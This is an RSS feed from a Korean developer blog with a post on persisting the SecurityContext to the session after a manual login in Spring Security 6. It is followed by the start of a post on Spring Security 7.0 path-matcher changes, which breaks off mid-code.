<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>codinglog</title>
    <description>COTHE&apos;s technical blog</description>
    <link>http://thecodinglog.github.io/</link>
    <atom:link href="http://thecodinglog.github.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Thu, 29 Jan 2026 16:59:00 +0900</pubDate>
    <lastBuildDate>Thu, 29 Jan 2026 16:59:00 +0900</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      <item>
        <title>Spring Security 6에서 인증 정보가 세션에 저장되지 않는 문제</title>
        <description>&lt;h1 id=&quot;spring-security-6에서-인증-정보가-세션에-저장되지-않는-문제&quot;&gt;Spring Security 6에서 인증 정보가 세션에 저장되지 않는 문제&lt;/h1&gt;

&lt;p&gt;API에서 직접 로그인 로직을 구현했는데, 인증은 성공하지만 다음 요청에서 인증 정보가 사라지는 경험을 해보셨나요? 이번 포스트에서는 이 문제의 원인과 해결 방법을 정리해보겠습니다.&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;API에서 직접 로그인 로직을 구현했고, 인증도 성공했습니다. 그런데 다음 요청에서 인증 정보가 사라져버렸습니다.&lt;/p&gt;

&lt;p&gt;콘솔에는 다음과 같은 로그가 찍힙니다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Did not find SecurityContext in HttpSession ... using the SPRING_SECURITY_CONTEXT session attribute
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;즉, HttpSession 안에서 SecurityContext를 찾지 못한다는 의미입니다.&lt;/p&gt;

&lt;h2 id=&quot;원인-spring-security-6의-기본-동작-변경&quot;&gt;원인: Spring Security 6의 기본 동작 변경&lt;/h2&gt;

&lt;p&gt;Spring Security 6(Spring Boot 3.x)부터는 SecurityContext 자동 저장이 기본적으로 꺼져 있습니다.&lt;/p&gt;

&lt;p&gt;정확히 말하면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requireExplicitSave&lt;/code&gt; 기본값이 활성화되어, 개발자가 명시적으로 저장하지 않으면 세션에 남지 않습니다. 이전 버전처럼 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityContextHolder&lt;/code&gt;에만 넣으면 세션에는 저장되지 않습니다.&lt;/p&gt;

&lt;p&gt;이는 Spring Security의 보안 및 성능 개선을 위한 의도적인 변경 사항입니다.&lt;/p&gt;

&lt;h2 id=&quot;formlogin은-왜-문제없을까&quot;&gt;formLogin은 왜 문제없을까?&lt;/h2&gt;

&lt;p&gt;그런데 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;formLogin&lt;/code&gt;을 사용하면 이런 문제가 발생하지 않습니다. 왜 그럴까요?&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;formLogin&lt;/code&gt;을 사용하면 내부 필터들이 다음 단계를 모두 수행하기 때문입니다.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UsernamePasswordAuthenticationFilter&lt;/code&gt;가 인증 처리&lt;/li&gt;
  &lt;li&gt;성공 시 SecurityContext 생성&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityContextPersistenceFilter&lt;/code&gt;가 HttpSession에 저장&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;즉, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;formLogin&lt;/code&gt;은 인증 이후 세션 저장까지 프레임워크가 자동으로 처리해줍니다.&lt;/p&gt;

&lt;h2 id=&quot;수동-로그인에서-해결-방법&quot;&gt;수동 로그인에서 해결 방법&lt;/h2&gt;

&lt;p&gt;직접 로그인 로직을 구현한 경우에는 명시적 저장이 필요합니다.&lt;/p&gt;

&lt;p&gt;핵심은 다음 한 줄입니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;securityContextRepository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;saveContext&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이걸 호출해야 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SPRING_SECURITY_CONTEXT&lt;/code&gt;가 세션에 들어갑니다.&lt;/p&gt;

&lt;h3 id=&quot;전체-코드-예시&quot;&gt;전체 코드 예시&lt;/h3&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@RestController&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@RequestMapping&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/auth&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;AuthController&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;AuthenticationManager&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authenticationManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityContextRepository&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;securityContextRepository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;AuthController&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;nc&quot;&gt;AuthenticationManager&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authenticationManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nc&quot;&gt;SecurityContextRepository&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;securityContextRepository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticationManager&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authenticationManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityContextRepository&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;securityContextRepository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@PostMapping&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ResponseEntity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;?&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;nd&quot;&gt;@RequestBody&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;LoginRequest&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;loginRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nc&quot;&gt;HttpServletRequest&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nc&quot;&gt;HttpServletResponse&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        
        &lt;span class=&quot;c1&quot;&gt;// 1. 인증 수행&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;UsernamePasswordAuthenticationToken&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;UsernamePasswordAuthenticationToken&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;loginRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getUsername&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(),&lt;/span&gt; 
                &lt;span class=&quot;n&quot;&gt;loginRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getPassword&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        
        &lt;span class=&quot;nc&quot;&gt;Authentication&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authentication&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authenticationManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        
        &lt;span class=&quot;c1&quot;&gt;// 2. SecurityContext 생성 및 설정&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;SecurityContext&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityContextHolder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createEmptyContext&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;setAuthentication&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authentication&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;SecurityContextHolder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;setContext&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        
        &lt;span class=&quot;c1&quot;&gt;// 3. 세션에 명시적으로 저장 (핵심!)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;securityContextRepository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;saveContext&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ResponseEntity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;로그인 성공&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;securitycontextrepository-빈-설정&quot;&gt;SecurityContextRepository 빈 설정&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityContextRepository&lt;/code&gt;를 주입받으려면 다음과 같이 빈으로 등록해야 합니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@EnableWebSecurity&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityContextRepository&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;securityContextRepository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;HttpSessionSecurityContextRepository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// ... 나머지 Security 설정&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;정리&quot;&gt;정리&lt;/h2&gt;

&lt;p&gt;핵심 내용을 정리하면 다음과 같습니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Spring Security 6부터는 SecurityContext가 자동으로 세션에 저장되지 않습니다&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;formLogin&lt;/code&gt;은 내부 필터에서 자동 저장하지만, 수동 로그인은 직접 저장해야 합니다&lt;/li&gt;
  &lt;li&gt;해결은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityContextRepository.saveContext(...)&lt;/code&gt; 호출입니다&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;추가-체크-포인트&quot;&gt;추가 체크 포인트&lt;/h2&gt;

&lt;p&gt;인증 정보가 세션에 제대로 저장되더라도 다음 사항들을 확인해야 합니다.&lt;/p&gt;

&lt;h3 id=&quot;1-쿠키-전송-확인&quot;&gt;1. 쿠키 전송 확인&lt;/h3&gt;

&lt;p&gt;클라이언트는 반드시 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSESSIONID&lt;/code&gt; 쿠키를 다음 요청에 포함해야 합니다.&lt;/p&gt;

&lt;p&gt;브라우저는 기본적으로 쿠키를 자동으로 포함하지만, Postman이나 axios 같은 클라이언트를 사용할 때는 명시적으로 쿠키 전송을 설정해야 합니다.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// axios 예시&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;axios&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/api/auth/login&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;credentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;withCredentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 쿠키 포함&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2-세션-저장소&quot;&gt;2. 세션 저장소&lt;/h3&gt;

&lt;p&gt;기본 세션 저장소는 서버 메모리(톰캣 세션)입니다.&lt;/p&gt;

&lt;p&gt;이는 다음과 같은 한계가 있습니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;서버 재시작 시 세션 소멸&lt;/li&gt;
  &lt;li&gt;다중 서버 환경에서 세션 공유 불가&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;3-분산-환경-고려&quot;&gt;3. 분산 환경 고려&lt;/h3&gt;

&lt;p&gt;분산 환경이라면 Spring Session + Redis 같은 외부 세션 저장소를 고려해야 합니다.&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- pom.xml --&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;org.springframework.session&lt;span class=&quot;nt&quot;&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;spring-session-data-redis&lt;span class=&quot;nt&quot;&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# application.yml&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spring&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;store-type&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;redis&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이렇게 하면 여러 서버 인스턴스 간에 세션을 공유할 수 있습니다.&lt;/p&gt;

&lt;h2 id=&quot;마무리&quot;&gt;마무리&lt;/h2&gt;

&lt;p&gt;Spring Security 6의 변경사항은 명시적 보안 관리를 권장하는 방향입니다. 처음에는 불편할 수 있지만, 이를 통해 개발자가 세션 관리를 더 명확하게 제어할 수 있게 되었습니다.&lt;/p&gt;

&lt;p&gt;수동 로그인을 구현할 때는 반드시 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityContextRepository.saveContext()&lt;/code&gt;를 호출하는 것을 잊지 마세요!&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 29 Jan 2026 16:50:00 +0900</pubDate>
        <link>http://thecodinglog.github.io/spring/security/2026/01/29/spring-security-security-context.html</link>
        <guid isPermaLink="true">http://thecodinglog.github.io/spring/security/2026/01/29/spring-security-security-context.html</guid>
        
        <category>Spring</category>
        
        <category>Security</category>
        
        <category>Security</category>
        
        <category>Context</category>
        
        
        <category>Spring</category>
        
        <category>Security</category>
        
      </item>
    
      <item>
        <title>Spring Security 7.0 경로 매칭 변경 사항 정리</title>
        <description>&lt;h1 id=&quot;spring-security-70-경로-매칭-변경-사항-정리&quot;&gt;Spring Security 7.0 경로 매칭 변경 사항 정리&lt;/h1&gt;

&lt;p&gt;Spring Security 7.0으로 업그레이드하면서 기존 코드가 동작하지 않아 당황하셨나요? 바로 경로 매칭 방식이 변경되었기 때문입니다. 이번 포스트에서는 무엇이 바뀌었고, 어떻게 수정해야 하는지 정리해보겠습니다.&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;

&lt;h2 id=&quot;무엇이-바뀌었나&quot;&gt;무엇이 바뀌었나?&lt;/h2&gt;

&lt;p&gt;Spring Security 7.0부터는 URL 매칭 방식에 큰 변화가 있었습니다. 기존에 사용하던 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AntPathRequestMatcher&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MvcRequestMatcher&lt;/code&gt;가 제거되고, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PathPatternRequestMatcher&lt;/code&gt;로 대체되었습니다.&lt;/p&gt;

&lt;h3 id=&quot;제거된-matcher&quot;&gt;제거된 Matcher&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AntPathRequestMatcher&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MvcRequestMatcher&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;새롭게-추가된-matcher&quot;&gt;새롭게 추가된 Matcher&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PathPatternRequestMatcher&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;왜-바뀌었을까&quot;&gt;왜 바뀌었을까?&lt;/h2&gt;

&lt;p&gt;이러한 변경에는 몇 가지 이유가 있습니다.&lt;/p&gt;

&lt;p&gt;첫째, Spring Framework 5.3부터 도입된 PathPatternParser 기반으로 URL 매칭 성능을 최적화하기 위함입니다. 기존 Ant 방식보다 더 빠르고 효율적인 매칭이 가능해졌습니다.&lt;/p&gt;

&lt;p&gt;둘째, URL 패턴 문법을 통일하고 더 명확하게 처리하기 위해서입니다. 이제 Spring Security는 기본적으로 PathPatternRequestMatcher 방식으로 경로를 매칭합니다.&lt;/p&gt;

&lt;h2 id=&quot;코드-수정-방법&quot;&gt;코드 수정 방법&lt;/h2&gt;

&lt;p&gt;그렇다면 기존 코드를 어떻게 수정해야 할까요? 두 가지 방법이 있습니다.&lt;/p&gt;

&lt;h3 id=&quot;방법-a-pathpatternrequestmatcher-사용-권장&quot;&gt;방법 A: PathPatternRequestMatcher 사용 (권장)&lt;/h3&gt;

&lt;p&gt;가장 명시적이고 공식적인 방식입니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;org.springframework.security.web.servlet.util.matcher.PathPatternRequestMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@Order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;apiAdminSecurityFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 수정됨: AntPathRequestMatcher → PathPatternRequestMatcher&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;PathPatternRequestMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;pathPattern&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
        
